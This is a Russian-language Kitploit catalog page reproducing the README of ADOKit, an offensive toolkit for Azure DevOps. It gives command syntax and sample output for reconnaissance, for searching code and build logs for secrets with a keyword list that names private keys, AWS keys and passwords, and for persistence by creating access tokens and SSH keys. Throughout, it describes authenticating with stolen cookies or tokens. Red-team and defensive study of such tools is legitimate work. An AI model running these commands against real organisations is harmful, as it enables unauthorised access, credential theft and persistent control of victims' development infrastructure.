Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ADOKit — Модульный набор инструментов для атак, использующий REST API Azure DevOps для разведки, повышения привилегий и закрепления с использованием украденных куки или PAT. | Kitploit
Инструменты/GitHubGitHub/h4wkst3r/adokit
Повышение привилегийРазведкаМеханизмы персистентностиТестирование на ПроникновениеБезопасность облачных средRed Teaming
GitHubh4wkst3r/adokit

ADOKit

Модульный набор инструментов для атак, использующий REST API Azure DevOps для разведки, повышения привилегий и закрепления с использованием украденных куки или PAT.

Репозиторий
1556424 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ADOKit

Описание

Azure DevOps Services Attack Toolkit — ADOKit — это набор инструментов для атаки на Azure DevOps Services с использованием доступного REST API. Инструмент позволяет пользователю указать модуль атаки, а также действительные учетные данные (ключ API или украденный cookie аутентификации) для соответствующего экземпляра Azure DevOps Services. Поддерживаемые модули атаки включают разведку, повышение привилегий и закрепление. ADOKit был построен по модульному принципу, чтобы в будущем сообщество по информационной безопасности могло добавлять новые модули.

Полные сведения о техниках, используемых ADOKit, приведены в документе X-Force Red.

Black Hat USA Arsenal 2024

Слайды презентации и демонстрации включены в папку BHUSA Arsenal 2024 в этом репозитории.

Релиз

  • Версия 1.4.1 ADOKit доступна в разделе Releases

Содержание

  • ADOKit
  • Содержание
  • Установка/Сборка
    • Используемые библиотеки
    • Предварительно скомпилированная версия
    • Сборка самостоятельно
  • Модули команд
  • Аргументы/Параметры
  • Способы аутентификации
  • Таблица сведений о модулях
  • Примеры
    • Разведка
      • Проверить доступ к Azure DevOps
      • Whoami
      • Список организаций
      • Список репозиториев
      • Поиск репозиториев
      • Список проектов
      • Поиск проектов
      • Поиск кода
      • Поиск файлов
      • Список пользователей
      • Поиск пользователя
      • Список команд
      • Поиск команды
      • Получить участников команды
      • Список групп
      • Поиск групп
      • Получить участников группы
      • Получить разрешения проекта
      • Поиск учетных данных
      • Получить журналы сборок
      • Список журналов сборок
      • Поиск в журналах сборок
    • Закрепление
      • Создать PAT
      • Список PAT
      • Удалить PAT
      • Создать SSH-ключ
      • Список SSH-ключей
      • Удалить SSH-ключ
    • Повышение привилегий
      • Добавить администратора проекта
      • Удалить администратора проекта
      • Добавить администратора сборок
      • Удалить администратора сборок
      • Добавить администратора коллекции
      • Удалить администратора коллекции
      • Добавить администратора сборок коллекции
      • Удалить администратора сборок коллекции
      • Добавить учетную запись службы сборок коллекции
  • Обнаружение
  • План развития
  • Ссылки

Установка/Сборка

Используемые библиотеки

В этом проекте используются следующие сторонние библиотеки.

БиблиотекаURLЛицензия
Fodyhttps://github.com/Fody/FodyMIT License
Newtonsoft.Jsonhttps://github.com/JamesNK/Newtonsoft.JsonMIT License

Предварительно скомпилированная версия

  • Используйте предварительно скомпилированный бинарный файл из релизов

Сборка самостоятельно

Выполните следующие шаги, чтобы настроить Visual Studio для самостоятельной компиляции проекта. Для этого требуются две библиотеки .NET, которые можно установить из менеджера пакетов NuGet.

  • Загрузите проект Visual Studio и перейдите в "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
  • Перейдите в "NuGet Package Manager" --> "Package Sources"
  • Добавьте источник пакетов с URL-адресом https://api.nuget.org/v3/index.json
  • Установите пакет NuGet Costura.Fody.
    • Install-Package Costura.Fody -Version 3.3.3
  • Установите пакет Newtonsoft.Json
    • Install-Package Newtonsoft.Json
  • Теперь вы можете самостоятельно собрать проект!

Модули команд

  • Разведка
    • check - Проверить, использует ли организация Azure DevOps и действительны ли учетные данные
    • whoami - Вывести текущего пользователя и его членство в группах
    • listorgs - Вывести список доступных или всех организаций в Azure DevOps
    • listrepo - Вывести список всех репозиториев
    • searchrepo - Искать заданный репозиторий
    • listproject - Вывести список всех проектов
    • searchproject - Искать заданный проект
    • searchcode - Искать код, содержащий поисковый запрос
    • searchfile - Искать файл по поисковому запросу
    • listuser - Вывести список пользователей
    • searchuser - Искать заданного пользователя
    • listteam - Вывести список команд
    • searchteam - Искать заданную команду
    • getteammembers - Получить участников заданной команды
    • listgroup - Вывести список групп
    • searchgroup - Искать заданную группу
    • getgroupmembers - Вывести список всех участников заданной группы
    • getpermissions - Получить разрешения для доступа к заданному проекту
    • creds - Искать учетные данные в коде (ключевые слова перечислены ниже)
      • "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
    • getbuildlogs - Загрузить журналы сборок для одного или всех проектов
    • listbuildlogs - Вывести список журналов сборок для одного или всех проектов
    • searchbuildlogs - Искать в журналах сборок по заданному поисковому запросу
  • Закрепление
    • createpat - Создать персональный токен доступа для пользователя

Аргументы/Параметры

  • /credential: - учетные данные для аутентификации (PAT или Cookie). Применимо ко всем модулям.
  • /url: - URL-адрес Azure DevOps. Применимо ко всем модулям.
  • /search: - Ключевое слово для поиска. Применимо не ко всем модулям.
  • /project: - Проект, для которого выполняется действие. Применимо не ко всем модулям.
  • /user: - Выполнить действие для указанного пользователя. Применимо не ко всем модулям.
  • /id: - Используется с модулями закрепления для выполнения действия с заданным идентификатором токена. Применимо не ко всем модулям.
  • /group: - Выполнить действие для указанной группы. Применимо не ко всем модулям.

Способы аутентификации

Ниже перечислены способы аутентификации, доступные в ADOKit при подключении к экземпляру Azure DevOps.

  • Украденный cookie - UserAuthentication - Это будет cookie UserAuthentication на машине пользователя для домена .dev.azure.com.
    • /credential:UserAuthentication=ABC123
  • Украденный cookie - AadAuthentication - Это будет cookie AadAuthentication на машине пользователя для домена .dev.azure.com.
    • /credential:eyJ0...
  • Персональный токен доступа (PAT) - Это будет токен доступа/ключ API в виде одной строки.
    • /credential:apiToken
  • Украденный токен доступа - Если вы можете украсть или обновить подходящий токен доступа, вы также можете использовать его. При использовании токена доступа он должен быть действителен для ресурса Azure Resource Manager (ARM) - "aud":"https://management.core.windows.net/" или Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
    • /credential:eyJ0..

Таблица сведений о модулях

В приведенной ниже таблице указаны разрешения, необходимые для каждого модуля.

Примеры

Проверить доступ к Azure DevOps

Вариант использования

Выполнить проверку аутентификации, чтобы убедиться, что организация использует Azure DevOps и что предоставленные учетные данные действительны.

Синтаксис

Укажите модуль check, а также соответствующую информацию об аутентификации и URL-адрес. Будет выведено, использует ли предоставленная организация Azure DevOps, и если да, то будет предпринята попытка проверить предоставленные учетные данные.

ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Пример вывода```

C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/28/2023 3:33:01 PM

[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check

root@kitploit:~
### Whoami

#### Вариант использования

> *Получить текущего пользователя и его членство в группах*

#### Синтаксис

Укажите модуль `whoami`, вместе с соответствующими данными аутентификации и URL. Это выведет текущего пользователя и все его членства в группах.

`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Пример вывода```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module:         whoami
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                          jsmith |                                        John Smith |          [email protected]


[*] INFO: Listing group memberships for the current user


                                                             Group UPN |                                       Display Name |                                        Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    [YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                                           [TestProject2]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                                           [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [YourOrganization]\Project Collection Administrators |                  Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

Список организаций

Сценарий использования

Получение организаций с использованием заданного токена доступа.

Синтаксис

Предоставьте модулю listorgs необходимую информацию для аутентификации. По умолчанию эта команда выводит только те организации, которые доступны с помощью указанного токена доступа.

  • Используйте /mode:aad для перечисления всех организаций DevOps в арендаторе Azure AD, независимо от прямого доступа.
  • Используйте /endpoint:ENDPOINT_NAME для указания пользовательской конечной точки AEX.
    • Дополнительные конечные точки можно определить, проверив cookie "X-VSS-DeploymentAffinity" из aex.dev.azure.com.

ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]

ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21

Пример вывода```

C:>ADOKit.exe listorgs /credential:"eyj0..."

================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com

Timestamp: 3/14/2025 2:26:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                     Organization ID |                        Organization Name

root@kitploit:~
390a7474-e2f2-4b98-b538-4a547fa9f5e3 |                             solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e |                             lunar-devops
root@kitploit:~
### List Repos

#### Use Case

> *Обнаружение репозиториев, используемых в экземпляре Azure DevOps*

#### Syntax

Укажите модуль `listrepo` вместе с соответствующей информацией для аутентификации и URL. Это выведет имя репозитория и URL.

`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Example Output```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listrepo
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                  MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
                 SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
                   AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
      ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

Поиск репозиториев

Сценарий использования

Поиск репозиториев по имени в экземпляре Azure DevOps

Синтаксис

Предоставьте модуль searchrepo и критерии поиска в аргументе командной строки /search:, вместе с соответствующей информацией аутентификации и URL. Это выведет имя и URL совпадающего репозитория.

ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Пример вывода```

C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 9:26:57 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |                                                URL

root@kitploit:~
              TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
               TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

root@kitploit:~
### Список проектов

#### Вариант использования

> *Обнаружение проектов, используемых в экземпляре Azure DevOps*

#### Синтаксис

Укажите модуль `listproject`, а также соответствующую информацию аутентификации и URL. Это выведет имя проекта, видимость (открытый или закрытый) и URL.

`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Пример вывода```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listproject
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  TestProject2 |         private | https://dev.azure.com/YourOrganization/TestProject2
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap
      ProjectWithMultipleRepos |         private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
                   TestProject |         private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

Поиск проектов

Сценарий использования

Поиск проектов по имени проекта в экземпляре Azure DevOps

Синтаксис

Укажите модуль searchproject и критерии поиска в аргументе командной строки /search:, а также соответствующую информацию для аутентификации и URL. Вывод будет содержать имя найденного проекта, его видимость (публичный или частный) и URL.

ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Пример вывода```

C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 7:45:30 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |      Visibility |                                                URL

root@kitploit:~
              MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

root@kitploit:~
### Поиск кода

#### Сценарий использования

> *Поиск кода, содержащего заданное ключевое слово, в экземпляре Azure DevOps*

#### Синтаксис

Укажите модуль `searchcode` и критерии поиска в аргументе командной строки `/search:`, а также соответствующую информацию аутентификации и URL. В результате будет выведен URL соответствующего файла кода и строка кода, которая совпала.

`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`

`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`

#### Пример вывода```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module:         searchcode
Auth Type:      Cookie
Search Term:    password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchcode

Поиск файлов

Пример использования

Поиск файлов в репозиториях, содержащих заданное ключевое слово в имени файла в Azure DevOps

Синтаксис

Укажите модуль searchfile и критерии поиска в аргументе командной строки /search:, а также соответствующую информацию для аутентификации и URL. Это выведет URL соответствующего файла в его репозитории.

ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline

ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline

Пример вывода```

C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 11:28:34 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                                                        File URL

https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

root@kitploit:~
### Creds Search

#### Use Case

> *Поиск кода, содержащего секреты, такие как пароли или ключи API, в Azure DevOps*

#### Syntax

Укажите модуль `creds`, а также соответствующие данные аутентификации и URL. В результате будет выведен URL на соответствующий файл в соответствующем репозитории и соответствующие строки, в которых присутствуют учётные данные.

`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Example Output```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         creds
Auth Type:      Cookie
Search Term:    pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/30/2023 10:17:49 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ API_KEY=ABC123

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
    |_ Password: ItIsSuperSecret!

[*] Match count : 5

3/30/23 14:17:54 Finished execution of creds

Получение журналов сборки

Вариант использования

Загрузите журналы всех запусков конвейеров (журналы сборки). Затем вы сможете выполнять офлайн-поиск информации и/или секретов.

Синтаксис

Укажите модуль getbuildlogs вместе с аргументом /project: для заданного проекта, чтобы загрузить все журналы сборки для этого проекта. Если вы хотите загрузить их для всех проектов, укажите all в аргументе /project:. Будет создана папка ADOKit-[случайные 8 символов] в вашей текущей рабочей директории для сохранения журналов.

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"

Пример вывода```

C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 8:15:27 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ

[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ

root@kitploit:~
### Список журналов сборки

#### Вариант использования

> *Вывести список журналов сборки для указанного проекта или всех проектов.*

#### Синтаксис

Укажите модуль `listbuildlogs` вместе с `/project:` для указанного проекта, чтобы вывести все журналы сборки для этого проекта. Если вы хотите вывести их для всех проектов, укажите `all` в аргументе `/project:`.

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`

#### Пример вывода```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

==================================================
Module:         listbuildlogs
Auth Type:      API Key
Project:        TestProject2
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 8:14:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

  Build ID |                     Build Name |   Num Logs |                                                URL
-------------------------------------------------------------------------------------------------------------
        94 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
        92 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
        64 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64

Поиск журналов сборки

Вариант использования

Поиск журналов сборки, содержащих заданное ключевое слово, в экземпляре Azure DevOps

Синтаксис

Укажите модуль searchbuildlogs и критерии поиска в аргументе командной строки /search:, а также /project: для заданного проекта, чтобы выполнить поиск по всем журналам сборки этого проекта. Если требуется выполнить поиск по всем проектам, укажите all в аргументе /project:. В результате будет выведен URL-адрес соответствующего файла журнала сборки, а также строка из журнала, которая соответствует критерию поиска.

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

Пример вывода```

C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"

================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:06:20 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Searching build logs

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1

-----------SNIP-----------

[*] Match count : 9

root@kitploit:~
### Создать PAT

#### Вариант использования

> *Создать персональный токен доступа (PAT) для пользователя, который можно использовать для сохранения доступа к экземпляру Azure DevOps.*

#### Синтаксис

Укажите модуль `createpat` вместе с соответствующей информацией для аутентификации и URL. Это выведет ID PAT, имя, область действия, дату действия до, и содержимое токена для созданного PAT. Имя созданного PAT будет `ADOKit-` с последующей случайной строкой из 8 символов. Дата, до которой PAT действителен, будет составлять 1 год с даты создания, так как это максимум, который допускает Azure DevOps.

`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Пример вывода```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         createpat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/31/2023 2:33:09 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                  PAT ID |                           Name |                          Scope |                    Valid Until |                                        Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM | tokenValueWouldBeHere

3/31/23 18:33:10 Finished execution of createpat

Список PAT

Вариант использования

Список всех личных токенов доступа (PAT) для указанного пользователя в экземпляре Azure DevOps.

Синтаксис

Укажите модуль listpat, а также любые соответствующие данные аутентификации и URL. Это выведет ID PAT, имя, область действия и дату окончания срока действия для всех активных PAT пользователя.

ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Пример вывода```

C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/31/2023 2:33:17 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                              PAT ID |                           Name |                          Scope |                    Valid Until

root@kitploit:~
9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM

3/31/23 18:33:18 Finished execution of listpat

root@kitploit:~
### Удалить PAT

#### Сценарий использования

> *Удалить PAT для указанного пользователя в экземпляре Azure DevOps.*

#### Синтаксис

Укажите модуль `removepat` вместе с соответствующей информацией аутентификации и URL. Кроме того, укажите идентификатор PAT в аргументе `/id:`. Результат покажет, был ли PAT удален, а затем отобразит список текущих активных PAT для пользователя после выполнения удаления.

`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`

`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`

#### Пример вывода```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298

==================================================
Module:         removepat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:04:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.

                                  PAT ID |                           Name |                          Scope |                    Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
    9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM

4/3/23 15:05:00 Finished execution of removepat

Создание SSH-ключа

Сценарий использования

Создание SSH-ключа для пользователя, который можно использовать для сохранения доступа к экземпляру Azure DevOps.

Синтаксис

Укажите модуль createsshkey, а также соответствующую информацию для аутентификации и URL. Кроме того, укажите ваш открытый SSH-ключ в аргументе /sshkey:. В результате будут выведены идентификатор SSH-ключа, имя, область действия, дата действия и последние 20 символов открытого SSH-ключа для созданного ключа. Имя созданного SSH-ключа будет ADOKit- с последующей случайной строкой из 8 символов. Дата действия SSH-ключа будет на 1 год с момента создания, так как это максимальный срок, разрешенный Azure DevOps.

ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"

Пример вывода```

C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"

================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 2:51:22 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
